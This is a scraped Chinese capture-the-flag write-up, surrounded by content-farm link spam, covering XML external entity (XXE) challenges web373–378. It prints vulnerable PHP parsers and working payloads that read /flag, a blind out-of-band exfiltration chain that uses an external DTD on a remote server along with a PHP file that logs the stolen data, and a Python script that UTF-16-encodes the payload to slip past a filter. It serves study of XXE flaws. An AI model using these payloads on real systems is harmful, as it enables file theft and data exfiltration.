当前位置: 首页 > news >正文

建设工程消防网站进入程序/百度手机助手网页

建设工程消防网站进入程序,百度手机助手网页,电脑安装wordpress,个人公众号 可以用wordpress什么是xxe? XXE,全称XML External Entity Injection,即XML外部实体注入。这是一种针对应用程序解析XML输入类型的攻击。当包含对外部实体的引用的XML输入被弱配置的XML解析器处理时,就会发生这种攻击。这种攻击通过构造恶意内容&…

什么是xxe?

XXE,全称XML External Entity Injection,即XML外部实体注入。这是一种针对应用程序解析XML输入类型的攻击。当包含对外部实体的引用的XML输入被弱配置的XML解析器处理时,就会发生这种攻击。这种攻击通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。

XML是一种用来传输和存储数据的可扩展标记语言,用于标记电子文件使其具有结构性,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

为了防止XXE攻击,应用程序应该正确配置XML解析器,避免解析包含外部实体引用的XML输入,或者对这类输入进行严格的过滤和验证。

web373

先看题

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$ctfshow = $creds->ctfshow;echo $ctfshow;
}
highlight_file(__FILE__);    

 

  1. libxml_disable_entity_loader(false);:

    • 默认情况下,libxml_disable_entity_loader 是启用的,它禁用外部实体的加载。这里,它被设置为 false,意味着允许外部实体的加载。这可能带来安全风险,因为它可能允许 XXE (XML External Entity) 攻击。
    • 读取输入:
      • $xmlfile = file_get_contents('php://input');
      • 这行代码从 PHP 的输入流(通常是 POST 请求的主体)中读取内容,并将其存储在 $xmlfile 变量中。
  2. 处理 XML:

    • if(isset($xmlfile)): 确保 $xmlfile 变量已经设置。
    • $dom = new DOMDocument();: 创建一个新的 DOMDocument 对象。
    • $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);: 使用 DOMDocument 的 loadXML 方法来加载 XML 数据。LIBXML_NOENT 和 LIBXML_DTDLOAD 是加载选项,其中 LIBXML_NOENT 会将实体替换为它们的值,而 LIBXML_DTDLOAD 会加载外部 DTD。
    • $creds = simplexml_import_dom($dom);: 使用 simplexml_import_dom 函数将 DOMDocument 对象转换为 SimpleXMLElement 对象,这使得处理 XML 数据更加简单。
    • $ctfshow = $creds->ctfshow;: 从 SimpleXMLElement 对象中提取名为 "ctfshow" 的元素。
    • echo $ctfshow;: 输出 "ctfshow" 元素的值。
  3. highlight_file(__FILE__);:

    • 这行代码将当前文件的内容高亮显示。

构造playload

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<sun>
<ctfshow>&xxe;</ctfshow>
</sun>

先抓包,用bp传

web374

先看题

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

区别在于没有回显,要把读取到的内容也就是flag传到远程服务器查看

先在宝塔上创建一个站点

创建一个PHP

<?php 
file_put_contents("test.txt", $_GET['file']) ; 
?>

再创建xxe.xml

bp抓包,然后输入

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://<vps-ip>/xxe.xml">
%aaa;
]>
<root>123</root>		

 

然后返回文件页面

就会看到多出来一个文件

web375

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 15:22:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

在上面的基础上过滤了xml,version=1或0

就是把上面的xxe.xml文件改成xxe.dtd

把payload改为

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://<vps-ip>/xxe.dtd">
%aaa;
]>
<root>123</root>

web376

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤了xml,version=1或0,和大小写

用上一题payload,依旧可以的

web377

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 15:26:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

发现在之前的基础上过滤了http

那就对其进行utf-16编码

用python(要安装requests库)

import requestsurl = 'http://55a6087a-6b0d-4475-82b4-2cb8b6ff97c1.challenge.ctf.show/'
data = """<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://101.200.161.174/remote.dtd">
%remote;
%all;
]>
<hack>&send;</hack>"""requests.post(url ,data=data.encode('utf-16'))
print("done!")b

web378

直接构建

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>123</password></user>

http://www.fp688.cn/news/508.html

相关文章:

  • 创新型的赣州网站建设/百度一下你就知道下载安装
  • 选择网站做友情链接的标准一般是/郑州网站建设用户
  • 免费网上商城网站建设/职业培训学校加盟
  • 镇江企业网站制作/中国十大搜索引擎排名
  • 中文网站开发工具/个人博客网站搭建
  • 在linux系统上用什么做网站/苏州网络推广seo服务
  • 大连模板网站制作多少钱/长沙h5网站建设
  • 彩票网站的客服有做吗/草根站长工具
  • 茂名本土网站建设公司/东莞网站推广哪里找
  • 景区网站建设/开发网站的流程是
  • 傻瓜式做网站程序/东莞网站推广优化公司
  • 注册公司怎么代办/天津网站优化公司
  • 宁波怎么建网站模板站/天津百度整站优化服务
  • 998元网站建设优化/免费网页制作成品
  • 河北网站建设多少钱/简述获得友情链接的途径
  • 福建省鑫通建设有限公司网站/陕西网络推广介绍
  • 网站开发常用的流程/最全bt搜索引擎
  • 沈阳有资质做网站的公司有哪些/百度云网盘免费资源
  • 做响应式网站是不是都用rem/谷歌广告平台
  • 罗湖商城网站建设哪家便宜/电商产品推广方案
  • 上海专业网站开发/上海全网营销推广
  • 网站建立安全连接失败/免费网站软件
  • 南京网站制作招聘网/信息流优化
  • 产品展示类网站/佛山快速排名seo
  • 网站维护模板/网站seo是啥
  • 久治县网站建设公司/广告推广策划
  • 自助建站网站建设/济南seo整站优化价格
  • 郑州市做网站的公司/上海网站搜索排名优化哪家好
  • 深圳网站建设电话/搜索引擎优化教材答案
  • 做网站的作用/营销技巧有哪些